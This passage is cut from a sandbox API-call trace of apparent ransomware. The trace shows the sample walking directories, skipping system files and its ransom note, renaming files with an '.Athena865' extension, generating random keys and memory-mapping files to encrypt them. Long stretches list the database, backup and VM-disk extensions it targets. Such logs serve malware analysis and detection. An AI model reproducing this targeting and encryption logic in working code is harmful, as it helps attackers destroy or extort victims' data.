lpString1="msadce.dll") returned="msadce.dll" [0118.637] lstrlenW (lpString="msadce.dll") returned 10 [0118.637] lstrlenW (lpString="Athena865") returned 9 [0118.638] lstrcmpiW (lpString1="sadce.dll", lpString2="Athena865") returned 1 [0118.638] lstrlenW (lpString=".dll") returned 4 [0118.638] lstrcmpiW (lpString1="msadce.dll", lpString2=".dll") returned 1 [0118.638] lstrlenW (lpString=".lnk") returned 4 [0118.638] lstrcmpiW (lpString1="msadce.dll", lpString2=".lnk") returned 1 [0118.638] lstrlenW (lpString=".ini") returned 4 [0118.638] lstrcmpiW (lpString1="msadce.dll", lpString2=".ini") returned 1 [0118.638] lstrlenW (lpString=".sys") returned 4 [0118.638] lstrcmpiW (lpString1="msadce.dll", lpString2=".sys") returned 1 [0118.638] lstrlenW (lpString="msadce.dll") returned 10 [0118.638] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.Athena865") returned 63 [0118.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.athena865"), dwFlags=0x1) returned 1 [0118.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.639] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=749568) returned 1 [0118.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.639] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.640] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.640] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.640] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb7300, lpName=0x0) returned 0x154 [0118.642] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb7300) returned 0x2d50000 [0118.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.671] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.671] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.671] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.678] CloseHandle (hObject=0x154) returned 1 [0118.678] CloseHandle (hObject=0x17c) returned 1 [0118.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.681] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2=".") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="..") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="windows") returned -1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootmgr") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="temp") returned -1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="pagefile.sys") returned -1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="boot") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="ids.txt") returned 1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="ntuser.dat") returned -1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="perflogs") returned -1 [0118.681] lstrcmpiW (lpString1="msadcer.dll", lpString2="MSBuild") returned -1 [0118.681] lstrlenW (lpString="msadcer.dll") returned 11 [0118.681] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadcer.dll" | out: lpString1="msadcer.dll") returned="msadcer.dll" [0118.681] lstrlenW (lpString="msadcer.dll") returned 11 [0118.681] lstrlenW (lpString="Athena865") returned 9 [0118.682] lstrcmpiW (lpString1="adcer.dll", lpString2="Athena865") returned -1 [0118.682] lstrlenW (lpString=".dll") returned 4 [0118.682] lstrcmpiW (lpString1="msadcer.dll", lpString2=".dll") returned 1 [0118.682] lstrlenW (lpString=".lnk") returned 4 [0118.682] lstrcmpiW (lpString1="msadcer.dll", lpString2=".lnk") returned 1 [0118.682] lstrlenW (lpString=".ini") returned 4 [0118.682] lstrcmpiW (lpString1="msadcer.dll", lpString2=".ini") returned 1 [0118.682] lstrlenW (lpString=".sys") returned 4 [0118.682] lstrcmpiW (lpString1="msadcer.dll", lpString2=".sys") returned 1 [0118.682] lstrlenW (lpString="msadcer.dll") returned 11 [0118.682] lstrlenW (lpString="bak") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.682] lstrlenW (lpString="ba_") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.682] lstrlenW (lpString="dbb") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.682] lstrlenW (lpString="vmdk") returned 4 [0118.682] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.682] lstrlenW (lpString="rar") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.682] lstrlenW (lpString="zip") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.682] lstrlenW (lpString="tgz") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.682] lstrlenW (lpString="vbox") returned 4 [0118.682] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.682] lstrlenW (lpString="vdi") returned 3 [0118.682] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.682] lstrlenW (lpString="vhd") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.683] lstrlenW (lpString="vhdx") returned 4 [0118.683] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.683] lstrlenW (lpString="avhd") returned 4 [0118.683] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.683] lstrlenW (lpString="db") returned 2 [0118.683] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.683] lstrlenW (lpString="db2") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.683] lstrlenW (lpString="db3") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.683] lstrlenW (lpString="dbf") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.683] lstrlenW (lpString="mdf") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.683] lstrlenW (lpString="mdb") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.683] lstrlenW (lpString="sql") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.683] lstrlenW (lpString="sqlite") returned 6 [0118.683] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0118.683] lstrlenW (lpString="sqlite3") returned 7 [0118.683] lstrcmpiW (lpString1="cer.dll", lpString2="sqlite3") returned -1 [0118.683] lstrlenW (lpString="sqlitedb") returned 8 [0118.683] lstrcmpiW (lpString1="dcer.dll", lpString2="sqlitedb") returned -1 [0118.683] lstrlenW (lpString="xml") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.683] lstrlenW (lpString="$er") returned 3 [0118.683] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.683] lstrlenW (lpString="4dd") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.684] lstrlenW (lpString="4dl") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.684] lstrlenW (lpString="^^^") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.684] lstrlenW (lpString="abs") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.684] lstrlenW (lpString="abx") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.684] lstrlenW (lpString="accdb") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0118.684] lstrlenW (lpString="accdc") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0118.684] lstrlenW (lpString="accde") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0118.684] lstrlenW (lpString="accdr") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0118.684] lstrlenW (lpString="accdt") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0118.684] lstrlenW (lpString="accdw") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0118.684] lstrlenW (lpString="accft") returned 5 [0118.684] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0118.684] lstrlenW (lpString="adb") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.684] lstrlenW (lpString="adb") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.684] lstrlenW (lpString="ade") returned 3 [0118.684] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.684] lstrlenW (lpString="adf") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.685] lstrlenW (lpString="adn") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.685] lstrlenW (lpString="adp") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.685] lstrlenW (lpString="alf") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.685] lstrlenW (lpString="ask") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.685] lstrlenW (lpString="btr") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.685] lstrlenW (lpString="cat") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.685] lstrlenW (lpString="cdb") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.685] lstrlenW (lpString="ckp") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.685] lstrlenW (lpString="cma") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.685] lstrlenW (lpString="cpd") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.685] lstrlenW (lpString="dacpac") returned 6 [0118.685] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0118.685] lstrlenW (lpString="dad") returned 3 [0118.685] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.685] lstrlenW (lpString="dadiagrams") returned 10 [0118.685] lstrcmpiW (lpString1="sadcer.dll", lpString2="dadiagrams") returned 1 [0118.685] lstrlenW (lpString="daschema") returned 8 [0118.685] lstrcmpiW (lpString1="dcer.dll", lpString2="daschema") returned 1 [0118.685] lstrlenW (lpString="db-journal") returned 10 [0118.685] lstrcmpiW (lpString1="sadcer.dll", lpString2="db-journal") returned 1 [0118.686] lstrlenW (lpString="db-shm") returned 6 [0118.686] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0118.686] lstrlenW (lpString="db-wal") returned 6 [0118.686] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0118.686] lstrlenW (lpString="dbc") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.686] lstrlenW (lpString="dbs") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.686] lstrlenW (lpString="dbt") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.686] lstrlenW (lpString="dbv") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.686] lstrlenW (lpString="dbx") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.686] lstrlenW (lpString="dcb") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.686] lstrlenW (lpString="dct") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.686] lstrlenW (lpString="dcx") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.686] lstrlenW (lpString="ddl") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.686] lstrlenW (lpString="dlis") returned 4 [0118.686] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.686] lstrlenW (lpString="dp1") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.686] lstrlenW (lpString="dqy") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.686] lstrlenW (lpString="dsk") returned 3 [0118.686] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.686] lstrlenW (lpString="dsn") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.687] lstrlenW (lpString="dtsx") returned 4 [0118.687] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.687] lstrlenW (lpString="dxl") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.687] lstrlenW (lpString="eco") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.687] lstrlenW (lpString="ecx") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.687] lstrlenW (lpString="edb") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.687] lstrlenW (lpString="epim") returned 4 [0118.687] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.687] lstrlenW (lpString="fcd") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.687] lstrlenW (lpString="fdb") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.687] lstrlenW (lpString="fic") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.687] lstrlenW (lpString="flexolibrary") returned 12 [0118.687] lstrlenW (lpString="fm5") returned 3 [0118.687] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.688] lstrlenW (lpString="fmp") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.688] lstrlenW (lpString="fmp12") returned 5 [0118.688] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0118.688] lstrlenW (lpString="fmpsl") returned 5 [0118.688] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0118.688] lstrlenW (lpString="fol") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.688] lstrlenW (lpString="fp3") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.688] lstrlenW (lpString="fp4") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.688] lstrlenW (lpString="fp5") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.688] lstrlenW (lpString="fp7") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.688] lstrlenW (lpString="fpt") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.688] lstrlenW (lpString="frm") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.688] lstrlenW (lpString="gdb") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.688] lstrlenW (lpString="gdb") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.688] lstrlenW (lpString="grdb") returned 4 [0118.688] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.688] lstrlenW (lpString="gwi") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.688] lstrlenW (lpString="hdb") returned 3 [0118.688] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.689] lstrlenW (lpString="his") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.689] lstrlenW (lpString="ib") returned 2 [0118.689] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.689] lstrlenW (lpString="idb") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.689] lstrlenW (lpString="ihx") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.689] lstrlenW (lpString="itdb") returned 4 [0118.689] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.689] lstrlenW (lpString="itw") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.689] lstrlenW (lpString="jet") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.689] lstrlenW (lpString="jtx") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.689] lstrlenW (lpString="kdb") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.689] lstrlenW (lpString="kexi") returned 4 [0118.689] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.689] lstrlenW (lpString="kexic") returned 5 [0118.689] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0118.689] lstrlenW (lpString="kexis") returned 5 [0118.689] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0118.689] lstrlenW (lpString="lgc") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.689] lstrlenW (lpString="lwx") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.689] lstrlenW (lpString="maf") returned 3 [0118.689] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.689] lstrlenW (lpString="maq") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.690] lstrlenW (lpString="mar") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.690] lstrlenW (lpString="marshal") returned 7 [0118.690] lstrcmpiW (lpString1="cer.dll", lpString2="marshal") returned -1 [0118.690] lstrlenW (lpString="mas") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.690] lstrlenW (lpString="mav") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.690] lstrlenW (lpString="maw") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.690] lstrlenW (lpString="mdbhtml") returned 7 [0118.690] lstrcmpiW (lpString1="cer.dll", lpString2="mdbhtml") returned -1 [0118.690] lstrlenW (lpString="mdn") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.690] lstrlenW (lpString="mdt") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.690] lstrlenW (lpString="mfd") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.690] lstrlenW (lpString="mpd") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.690] lstrlenW (lpString="mrg") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.690] lstrlenW (lpString="mud") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.690] lstrlenW (lpString="mwb") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.690] lstrlenW (lpString="myd") returned 3 [0118.690] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.691] lstrlenW (lpString="ndf") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.691] lstrlenW (lpString="nnt") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.691] lstrlenW (lpString="nrmlib") returned 6 [0118.691] lstrcmpiW (lpString1="er.dll", lpString2="nrmlib") returned -1 [0118.691] lstrlenW (lpString="ns2") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.691] lstrlenW (lpString="ns3") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.691] lstrlenW (lpString="ns4") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.691] lstrlenW (lpString="nsf") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.691] lstrlenW (lpString="nv") returned 2 [0118.691] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.691] lstrlenW (lpString="nv2") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.691] lstrlenW (lpString="nwdb") returned 4 [0118.691] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.691] lstrlenW (lpString="nyf") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.691] lstrlenW (lpString="odb") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.691] lstrlenW (lpString="odb") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.691] lstrlenW (lpString="oqy") returned 3 [0118.691] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.692] lstrlenW (lpString="ora") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.692] lstrlenW (lpString="orx") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.692] lstrlenW (lpString="owc") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.692] lstrlenW (lpString="p96") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.692] lstrlenW (lpString="p97") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.692] lstrlenW (lpString="pan") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.692] lstrlenW (lpString="pdb") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.692] lstrlenW (lpString="pdm") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.692] lstrlenW (lpString="pnz") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.692] lstrlenW (lpString="qry") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.692] lstrlenW (lpString="qvd") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.692] lstrlenW (lpString="rbf") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.692] lstrlenW (lpString="rctd") returned 4 [0118.692] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.692] lstrlenW (lpString="rod") returned 3 [0118.692] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.693] lstrlenW (lpString="rodx") returned 4 [0118.693] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.693] lstrlenW (lpString="rpd") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.693] lstrlenW (lpString="rsd") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.693] lstrlenW (lpString="sas7bdat") returned 8 [0118.693] lstrcmpiW (lpString1="dcer.dll", lpString2="sas7bdat") returned -1 [0118.693] lstrlenW (lpString="sbf") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.693] lstrlenW (lpString="scx") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.693] lstrlenW (lpString="sdb") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.693] lstrlenW (lpString="sdc") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.693] lstrlenW (lpString="sdf") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.693] lstrlenW (lpString="sis") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.693] lstrlenW (lpString="spq") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.693] lstrlenW (lpString="te") returned 2 [0118.693] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.693] lstrlenW (lpString="teacher") returned 7 [0118.693] lstrcmpiW (lpString1="cer.dll", lpString2="teacher") returned -1 [0118.693] lstrlenW (lpString="tmd") returned 3 [0118.693] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.693] lstrlenW (lpString="tps") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.694] lstrlenW (lpString="trc") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.694] lstrlenW (lpString="trc") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.694] lstrlenW (lpString="trm") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.694] lstrlenW (lpString="udb") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.694] lstrlenW 